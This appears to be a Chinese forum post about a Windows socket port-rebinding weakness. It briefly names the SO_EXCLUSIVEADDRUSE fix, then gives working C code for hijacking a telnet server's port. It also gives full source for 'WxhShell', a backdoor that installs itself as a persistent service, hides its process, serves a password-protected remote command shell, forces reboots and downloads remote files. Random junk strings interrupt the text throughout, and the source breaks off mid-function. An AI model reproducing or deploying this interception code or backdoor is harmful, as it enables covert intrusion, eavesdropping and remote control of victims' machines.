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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `}Zbfe~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); teNQUIe- I=Dk'M saddr.sin_family = AF_INET; @X><lz 34M.xB saddr.sin_addr.s_addr = htonl(INADDR_ANY); csA.3|rv tnbs]6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +dpj? ^dKaa 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6e-h;ylS '#
2J?f' 这意味着什么?意味着可以进行如下的攻击: 4J2F>m40 bc}OmPE 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SJ_cwYwI$ naCI55Wx 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~vZzKRVS ij5=f0^4. 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r&~iEO|?\ n\al}KG 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ]=VI"v<X >w;W&[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0$Db@ *(.^$Iq4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s-S"\zX\D M\4;d # 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BQ)43Rr> [ +@<T) #include Lk+1r8 #include \I{A33i2w #include rX
d2[pp #include BFu9KS+@) DWORD WINAPI ClientThread(LPVOID lpParam); a8P6-)W int main() CP#MNNvgrw { T>o# *{qn WORD wVersionRequested; uKzz/Y{ DWORD ret; 717m.t,x WSADATA wsaData; ,qqV11P] BOOL val; ?
NK}q\$ SOCKADDR_IN saddr; fT~<C
{ SOCKADDR_IN scaddr; )F2tV ]k\ int err; 9+|,aG s SOCKET s; Io X9yGq SOCKET sc; BV:,bS int caddsize; >{=RQgGy HANDLE mt; YAG3PWmD DWORD tid; Z6ex<[`I wVersionRequested = MAKEWORD( 2, 2 ); ?kefRev<#h err = WSAStartup( wVersionRequested, &wsaData ); R6.#gb8^oS if ( err != 0 ) { +34jot.! printf("error!WSAStartup failed!\n"); 3!UP>,! return -1; 3`q`W9 } _j
tS-CnO saddr.sin_family = AF_INET; aJ@qB9(ZBe yKhzymS}T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $X]v;B)J| BJrNbo;T saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +'4 dP# saddr.sin_port = htons(23); oIgj)AY< if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )q-!5^ak { jd'R2e printf("error!socket failed!\n"); He23<hd! return -1; Y)RikF > } O:R{4Q*5 val = TRUE; $QnfpM%+= //SO_REUSEADDR选项就是可以实现端口重绑定的 0P
>dXd)T if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yln.E vJjD { g5\B- 3{ printf("error!setsockopt failed!\n"); \H12~=p`B return -1; en": } Lj,%pz J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @SB+u+mOS //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r\`m[Q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s``L?9 oI/ThM`=q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i*>yUav" { <3CrCEPC ret=GetLastError(); w;_=$L'H&G printf("error!bind failed!\n"); 7NEn+OI4 return -1; AV!
cCQ } ,"ZlY}!Gn listen(s,2); +y(h/NcQ while(1) v[GHqZ { g/gLG:C caddsize = sizeof(scaddr); Rgu^>
~ //接受连接请求 N `MQHQ1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [i _x
1 if(sc!=INVALID_SOCKET) gC- 0je { xn[di-LF mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Xs_y!l if(mt==NULL) &[pwLYf7 { \)WjkhG<w# printf("Thread Creat Failed!\n"); 0<k!F3= break; X9wi: } C3gz)!3 } H_]kR&F8 CloseHandle(mt); | w -W=v } H0 t1& : closesocket(s); OwUbm0)h^V WSACleanup(); mD3#$E!A1 return 0; [8#l~
|U } Qg=~n:j DWORD WINAPI ClientThread(LPVOID lpParam) .}s a2- { WH*&MIjAr/ SOCKET ss = (SOCKET)lpParam; SF7
Scd SOCKET sc; v<W++X7z unsigned char buf[4096]; {lJpcS SOCKADDR_IN saddr; I^=M>_s4 long num; "?-s
Qn DWORD val; *uR'eXW DWORD ret; cB^lSmu5 //如果是隐藏端口应用的话,可以在此处加一些判断 WkE;tC* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 l:HuG! saddr.sin_family = AF_INET; e+U o-CO saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jT',+ saddr.sin_port = htons(23); xH uyfQLk if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ipG+qj/= { )&K%Me printf("error!socket failed!\n"); .+sIjd return -1; @}:(t{>;e7 } fJKOuFK val = 100; zT"#9"[" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ML-g"wv { TuL(
/ ret = GetLastError(); _45"Z}Zx return -1; `N+ P, } 10(N|2'q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uQCS%|8C { PX]v"xf ret = GetLastError(); A:(uK>5{Kk return -1; *v&RGY[> } 62) F if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) v80e]M! { NT 'Y h printf("error!socket connect failed!\n"); =1C9lKm closesocket(sc); /<~IKVz\& closesocket(ss); t*#T~3p return -1; J5wq}<8 } Zh*I0m while(1) qM'5cxe { ifUgj8i_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 va\cE*,@ns //如果是嗅探内容的话,可以再此处进行内容分析和记录 PQ" Dl=, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h.NA$E?7 num = recv(ss,buf,4096,0); `fXcW) if(num>0) rE
8-MB send(sc,buf,num,0); O#g31?TO else if(num==0) lf 3W:0K break; Wp $\> num = recv(sc,buf,4096,0); *&s_u)b if(num>0) V!p;ME send(ss,buf,num,0); R4?/7 else if(num==0) hI$an%Y( break; A]1](VQ)4 } o'G")o closesocket(ss); <pCZ+Yv E" closesocket(sc); 3f0RMk$pH return 0 ; H`sV\'`!} } TD'1L:mv >K3Lww)Ln ?]S*=6 ========================================================== "Z
<1Msz V0>,Kxk 下边附上一个代码,,WXhSHELL >
ewcD{bt }/=_ ========================================================== Yyf8B [LE_lATjU #include "stdafx.h" 3$_wAt4w Ktoxl+I? #include <stdio.h> {>#Ya;E #include <string.h> *:iFhKFU #include <windows.h> gwyz)CUkL #include <winsock2.h> {.v+ iSM #include <winsvc.h> t5S S] #include <urlmon.h> h1xYQF_`Z N]3XDd|q #pragma comment (lib, "Ws2_32.lib") ==&=3 #pragma comment (lib, "urlmon.lib") ]'Bz%[C) L]Uy+[gg #define MAX_USER 100 // 最大客户端连接数 s&4Y+dk93 #define BUF_SOCK 200 // sock buffer R"jX9~3Ln #define KEY_BUFF 255 // 输入 buffer $4m{g"xL z?7pn}- #define REBOOT 0 // 重启 Lq:Z='Kc #define SHUTDOWN 1 // 关机 ]`%cTdpLj C
7v
8 #define DEF_PORT 5000 // 监听端口 :7'anj \O[Cae:^? #define REG_LEN 16 // 注册表键长度 n,`&f~tap #define SVC_LEN 80 // NT服务名长度 ` 6PdMvF w;XX jT // 从dll定义API ffd yDUzQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z'
@F@k6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); opKtSF|) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D9h\=[%e typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Hly$ Wm Tw$la kw // wxhshell配置信息 g94NU
X struct WSCFG { 9i n& \ int ws_port; // 监听端口 b1-JnEc char ws_passstr[REG_LEN]; // 口令 =KkHck33 int ws_autoins; // 安装标记, 1=yes 0=no JVRK\A|R char ws_regname[REG_LEN]; // 注册表键名 6u7>S? char ws_svcname[REG_LEN]; // 服务名 nCt:n}+C7 char ws_svcdisp[SVC_LEN]; // 服务显示名 >#SQDVFf char ws_svcdesc[SVC_LEN]; // 服务描述信息 qvCl
mZ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s{!F@^a int ws_downexe; // 下载执行标记, 1=yes 0=no RDZl@ps8 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" koFY7;_<? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k@^)>J^ LbnR=B! }; ;L|%H/SH 13Q|p,^R // default Wxhshell configuration ^$VOC>>9 struct WSCFG wscfg={DEF_PORT, E}UlQq "xuhuanlingzhe", H13|bM< 1, 2%QY~Ku~ "Wxhshell", J?HYN% "Wxhshell", }{s<!b "WxhShell Service", jlItPdCv "Wrsky Windows CmdShell Service", _rOKif?5 "Please Input Your Password: ", !9B)/Xi 1, `zF=h#i " http://www.wrsky.com/wxhshell.exe", k \|Hd"T "Wxhshell.exe" ~)ls.NXI }; Pn0V{SJOJ% B+ +:7! // 消息定义模块 .Gw;]s3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 't]=ps char *msg_ws_prompt="\n\r? for help\n\r#>"; 4$C:r&K char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; UT%^!@u char *msg_ws_ext="\n\rExit."; 1t6VS 3 char *msg_ws_end="\n\rQuit."; ki48]#p char *msg_ws_boot="\n\rReboot..."; F.zn:y X5 char *msg_ws_poff="\n\rShutdown..."; H1]G<N3 char *msg_ws_down="\n\rSave to "; -:&qNY:Vp (bY#!16C: char *msg_ws_err="\n\rErr!"; Y;G+jC8
char *msg_ws_ok="\n\rOK!"; N^H~VG&D( ewN!7 char ExeFile[MAX_PATH]; zQ&`|kS int nUser = 0; \:, dWLu HANDLE handles[MAX_USER]; Cwl#(;@ int OsIsNt; 0& 54xP `L /\F, SERVICE_STATUS serviceStatus; jw]~g+x#$ SERVICE_STATUS_HANDLE hServiceStatusHandle; l*rli[No D=i)AZqMPp // 函数声明 y
~7]9?T int Install(void); G$( B26 int Uninstall(void); Ou>L|#=! int DownloadFile(char *sURL, SOCKET wsh); 0P_qtS int Boot(int flag); ?VmEbl void HideProc(void); ]X%T^3%G int GetOsVer(void); 9q(*'rAm int Wxhshell(SOCKET wsl); >fNRwmi void TalkWithClient(void *cs); MIGcV9hf int CmdShell(SOCKET sock);
Lj`MFZ int StartFromService(void); 6SJ int StartWxhshell(LPSTR lpCmdLine); H:TRJ.!w2 `KgIr,Q) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HG{r\jh VOID WINAPI NTServiceHandler( DWORD fdwControl ); W{B)c?G] ~ (I'm[ // 数据结构和表定义 2|8e7q: +* SERVICE_TABLE_ENTRY DispatchTable[] = Hx5t![g2K! { ckG`^< {wscfg.ws_svcname, NTServiceMain}, 9)}Nx>K {NULL, NULL} vau0Jn%=ck }; z)*7LI >VIb|YA // 自我安装 e:#c\Ay+ int Install(void) kwF4I)6 { 8K$q6V%# char svExeFile[MAX_PATH]; lC):$W HKEY key;
gJz~~g' strcpy(svExeFile,ExeFile); MZ]#9/ SkU'JM7<95 // 如果是win9x系统,修改注册表设为自启动 G;Jqby8d if(!OsIsNt) { ^U OVXRn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tj7{[3~-[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_8]hn[ RegCloseKey(key); fsRRnD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <_(UAv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); av~dH=&= RegCloseKey(key); &iYy return 0; jg%HaA<zO } \qk+cK;+ } apFY//(yu } Uskz~~}G else {
:.u[^_
tgz // 如果是NT以上系统,安装为系统服务 <Wqk5mR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bLSXQStB if (schSCManager!=0) N{rC#A3 { 8Evon&G59 SC_HANDLE schService = CreateService 4K{<R!2I ( 1HPYW7jk@" schSCManager, <e)5$Aj wscfg.ws_svcname, <?h` wscfg.ws_svcdisp, yCC.j%@ SERVICE_ALL_ACCESS, kIR?r0_<G6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *% 6NuZ SERVICE_AUTO_START, E3%:7MB SERVICE_ERROR_NORMAL, SY &)?~C svExeFile, ,-({m' NULL, :70n% 3a NULL, bUJ5jkZ) NULL, 5^:N]Mp" NULL, fZ8at NULL z;fi ); /8](M5X]f if (schService!=0) [(Jj@HlP6T { GB MCw CloseServiceHandle(schService); \l$gcFXb CloseServiceHandle(schSCManager); H!uB&qY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'a1%`rzm strcat(svExeFile,wscfg.ws_svcname); 1"7Rs}l7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
D
H}gvV RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /1s|FI$-L RegCloseKey(key); 4^|;a0Qy] return 0; ~D[5AXV`^ } ? dD<KCbP, } 5yC$G{yV CloseServiceHandle(schSCManager); HZ>8@AVa\ } WrzyBG_ } i]sz*\P~ =[X..<bW9: return 1; Yr7%C } iP nu *29 EUxkYl // 自我卸载 4O~E4" ] int Uninstall(void) Av3qoH)[< { $%*E)~ HKEY key; {i}z|'! R['k&jyi if(!OsIsNt) { JYQ.Y!X1O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y:\ ^[y IQ RegDeleteValue(key,wscfg.ws_regname); zQ[g* RegCloseKey(key); C9?R*2L> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !%pY)69gv RegDeleteValue(key,wscfg.ws_regname); +s(JutC RegCloseKey(key); Q2 tM~ return 0; HC'k81Q } DBUhqRfl } <M//zXa } EqY e.dF, else { +}MV$X H\BhAf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gc%aaYf> if (schSCManager!=0) +W= { iGCA>5UE SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (
Lp~:p if (schService!=0) -85]x)JE { ~hJ/&,vH! if(DeleteService(schService)!=0) { ;THb6Jz/+ CloseServiceHandle(schService); M!KHBr CloseServiceHandle(schSCManager); ubq4Zv7' return 0; hN~]$"@2 } 8(GH.)I+0 CloseServiceHandle(schService); Mo4#UV } <4caG2~q CloseServiceHandle(schSCManager); m~upTQz } 8|\0\Wd;vu } NS^(5g caK<;bmu- return 1; @O~ } ;H%&Jht [gZz'q&[) // 从指定url下载文件 $?38o6 int DownloadFile(char *sURL, SOCKET wsh) d@+}_R"c { vY+{zGF HRESULT hr; _.E y_K_1 char seps[]= "/"; =U:9A=uEvS char *token; vrS)VJg` char *file; AixQR[Ul*c char myURL[MAX_PATH]; &) '5_#S char myFILE[MAX_PATH]; .Pp;% mPl2y3m% strcpy(myURL,sURL); t#kPEiD token=strtok(myURL,seps); Y}'8`. while(token!=NULL) ?A!Lh, { uVO*@Kj+ file=token; Pc=S^}+ token=strtok(NULL,seps); UKIDFDn6_ } cBgdBPDa zjyj,jP GetCurrentDirectory(MAX_PATH,myFILE); R"j6 w[tn strcat(myFILE, "\\"); $OE~0Z\0 strcat(myFILE, file); w"-' send(wsh,myFILE,strlen(myFILE),0); q\PHA send(wsh,"...",3,0); DXbzl
+R hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eSV_.uvsb if(hr==S_OK) ^X&`:f return 0; W{0gtT0 else =y5~7&9' return 1; V}leEf2' KNR_upO8 } .zm'E< RVlAWw( // 系统电源模块 |FF"vRi8a7 int Boot(int flag) MNy)= d&<P { >e]46K HANDLE hToken; iQrTEp TOKEN_PRIVILEGES tkp; r_sZw@lqJ *O`76+iZ|_ if(OsIsNt) { ?;\xeFy! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (<u3<40[YN LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vV2px tkp.PrivilegeCount = 1; uYh6q1@"~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gk%8iT AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8,E#vQ55}( if(flag==REBOOT) { |]qwD,eiH, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &9Vm3X return 0; 9.bMA<X } x]({Po4 else { oXCZpS if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +y+-~;5iv return 0; {gSR49!Q } IIN"'7Z^R } M6ol/.G[ else { *`}4]OGv. if(flag==REBOOT) { &hK5WP6whW if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5kwDmJy return 0; 5W0'r'{ } qO5.NIs else { 'O#,;n if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eRlJ return 0; n&?]GyQ } J- %YmUc) } GJ >vL .x$!Rc} return 1; (qE*z } /]/3)@wT !fFmQ\|)4S // win9x进程隐藏模块 #}^kMD > void HideProc(void) Y(>]7 { G\ twx ; V24 i8 Qx HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !ul)e;a if ( hKernel != NULL ) Sb&sW?M { M2[ywab pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b";w\H ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RI#Cr+/ FreeLibrary(hKernel); 4|+6a6 } D`r^2(WW a8?Zb^ return; H}}]Gh.T } sje}E+{[ E%g_O_ // 获取操作系统版本 'ADaz75`*r int GetOsVer(void) E'p5 { %@<}z|.4 OSVERSIONINFO winfo; :#!m(s` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ga\E`J$c GetVersionEx(&winfo); /jI>=:z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *iSsGb\M% return 1; 4m%RD&ZN else H79|%@F" return 0; =1o_:VOG } )t
G`a ; =,D3e+P' // 客户端句柄模块 jWb;Xk4 int Wxhshell(SOCKET wsl) q9-=> { <De29'},y SOCKET wsh; j)Z3m @Ii5 struct sockaddr_in client; YoD1\a| DWORD myID; (rcH\ l?_Iu_Qp while(nUser<MAX_USER) saOXbt(& { u1yc int nSize=sizeof(client); DU g wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W
M/pP?|| if(wsh==INVALID_SOCKET) return 1; A_: Bz: 2Y&QJon) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E<>Ev_5 > if(handles[nUser]==0) 6:i(<7 closesocket(wsh); #UH|,>W6 else Q!Rknj 2 nUser++; 3=!\>0;E- } V0mWY!i WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #vJDb |z (o_w[jv return 0; wVCZ=\L} } Lwgk}!KR sygAEL;. // 关闭 socket `B;^:u void CloseIt(SOCKET wsh) ugg08 am! { tP2hU[7Z closesocket(wsh); >Pv#)qtm nUser--; ]|[,N> ExitThread(0); u\zRWX } ^8dJJ* D@tuu]%p // 客户端请求句柄 jGM~(;iw6i void TalkWithClient(void *cs) t?9F2rh { x$9UHEb kM $b;9oST SOCKET wsh=(SOCKET)cs; oB8u[! char pwd[SVC_LEN]; iXtar;% char cmd[KEY_BUFF]; B 8z3W9 char chr[1]; ,u|vpN int i,j; U/E M(y
Ch607i= while (nUser < MAX_USER) { AW@I, W?8 |h if(wscfg.ws_passstr) { 0_Tr>hz if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f.0~HnNg1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mM"!=' z //ZeroMemory(pwd,KEY_BUFF); `,ZsKxI i=0; M xUj7ae while(i<SVC_LEN) { %-?HCjT F+Og8^! // 设置超时 +DS_'Tmr fd_set FdRead; epi{Ayb struct timeval TimeOut; *M;!{)m? FD_ZERO(&FdRead); -~eNC^t;W FD_SET(wsh,&FdRead); +\G/j ]3f TimeOut.tv_sec=8; D`3m%O(? TimeOut.tv_usec=0; j,QeL int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~a&s5E
{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]O s!=rt ),5^b l/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <R>qOX8 pwd =chr[0]; 9RwD_`D(MN if(chr[0]==0xd || chr[0]==0xa) { HF}%Ow
pwd=0; } pE<P;\]k break; #/t^?$8\\ } T1?fC) i++; s =Pwkte } $-Q,@Bztq
q%,q"WU // 如果是非法用户,关闭 socket 0EfM~u if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,g%2-#L% } {E!ie{~ r6&f I"Yg send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s%"3F<\ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #\1;d8h oqOv"yLJ: while(1) { |lAu6d
! \;&9h1?Mn ZeroMemory(cmd,KEY_BUFF); A 1x?_S"a <*0^X%Vf\ // 自动支持客户端 telnet标准 ,tv
P"@d j=0;
.BJ;} while(j<KEY_BUFF) { ac6Lv}w_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =ZjF5,@ cmd[j]=chr[0]; a) GLz if(chr[0]==0xa || chr[0]==0xd) { *A.E?9pL\ cmd[j]=0; HcwqVU break; =Y>_b
2 } vtG_A{l j++;
)]L:OE } Ej>5PXp'2 -qz; // 下载文件 -m)N~>{qS if(strstr(cmd,"http://")) { 5mdn77F_ send(wsh,msg_ws_down,strlen(msg_ws_down),0); L31B:t^ if(DownloadFile(cmd,wsh)) Xu $_%+46 send(wsh,msg_ws_err,strlen(msg_ws_err),0); @x?7J@: else #r M/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hu.c&Q> } p<
Emy% else { v??}d
% \Nfj)9 switch(cmd[0]) { 2,?4'0Z@R L}lOA,EF // 帮助 =FQ]eb* case '?': { ,2S w6u send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j+NOT`& break; ((F[]<? } U`sybtuBP' // 安装 VU`aH9g3( case 'i': { ykc$B5* if(Install()) tK{2'e6x send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lw<?e; else w?]k$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %4? break; `!Ei
H<H} } I`:nb // 卸载 JPW+(n|g case 'r': { 3\WLm4 if(Uninstall()) ]+x;tPo send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^XEX" E else P3C|DO4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rf2$k/lZ break; V~M>K-AL } {^ 1s // 显示 wxhshell 所在路径 JnE\E(ez case 'p': { .q#2 op char svExeFile[MAX_PATH]; hGyi@0
strcpy(svExeFile,"\n\r"); c<)C3v strcat(svExeFile,ExeFile); :J` *@cDn send(wsh,svExeFile,strlen(svExeFile),0); |uVhfD=NG break; ! 4 `any } rCqcl // 重启 M0g!"0? case 'b': { ~E&drl\ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wo&10S w if(Boot(REBOOT)) f@&C
\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '^"6EF.R
else { afOb-G$d= closesocket(wsh); 5#/"0:2 ExitThread(0); Ag
QR"Nu6 } sI4Ql0[ break; 8" l9W= } ]etLobV // 关机 v`#T)5gl- case 'd': { z 3)pvX5 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?zp@HSa9 if(Boot(SHUTDOWN)) xo/[,rR send(wsh,msg_ws_err,strlen(msg_ws_err),0); u! `oKe; else { %cJ]Ds%V closesocket(wsh); @q2If{Tk ExitThread(0); ] >-#T } %tiFx:F+ break; HI6;=~[ } Q|Uq.UjY // 获取shell N4Yvt& case 's': { ];bB7+ CmdShell(wsh); cU7 c}?J< closesocket(wsh); )>08{7 ExitThread(0); sXxF5&AF0 break; OO5k_J } so_ // 退出 +o})Cs`|=A case 'x': { g(m3
& send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \NwL #bQ~ CloseIt(wsh); mle"!* break; [I:D\)$< } 2^N
4( // 离开 |mvy@hm case 'q': { Q)x`'[3"7W send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^pA|ubZ closesocket(wsh); TUzpln WSACleanup(); vy\;#X! exit(1); -ZqN~5>j) break; vQCRs!A } F3[3~r } PW)XDo7 } vhiP8DQ aR30wxW&) // 提示信息 f;M7y:A8q, if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m5Gt8Z 6a } #UGm/4C } ~L
j[xP A7@5lHMF return; c`I`@Bed } <EKDP>,~ X?5M)MP+I // shell模块句柄 1MV\Jm int CmdShell(SOCKET sock) ilL] pU- { A`2l ;MW STARTUPINFO si; ~9#[\/;" ZeroMemory(&si,sizeof(si)); 9Cbf[\J!bq si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aLapb5VV si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l%]S7|PKx PROCESS_INFORMATION ProcessInfo; }|>mR]; char cmdline[]="cmd"; l?E7'OEF: CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (.Yt|
"j return 0; Q.:SIBP } Yy]^_,r D/pc)3Ofe // 自身启动模式 }WXO[ +l int StartFromService(void) g|_-O"l { Kj;gxYD>6 typedef struct HH/bBM! { A\J|eSG'$ DWORD ExitStatus; !DFT}eu DWORD PebBaseAddress; ]h8[b9$<") DWORD AffinityMask; 7Z;bUMYtx DWORD BasePriority; F/;uN5{o ULONG UniqueProcessId; & %4x ULONG InheritedFromUniqueProcessId; sp*_;h3' } PROCESS_BASIC_INFORMATION; w]Z*"B&h E?san;Ku PROCNTQSIP NtQueryInformationProcess; g2p/#\D\J </0@7 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !IlsKMZ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a!YpSFr iW\cLp " HANDLE hProcess; <}x_F)E[t PROCESS_BASIC_INFORMATION pbi; eglcf z% A+i|zo5p=k HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =9@{U2 =l if(NULL == hInst ) return 0; !}fq%8"- t>;u;XY!; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >-fOkOWXy g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !_<zK:`-L NtQueryInformationProcess = 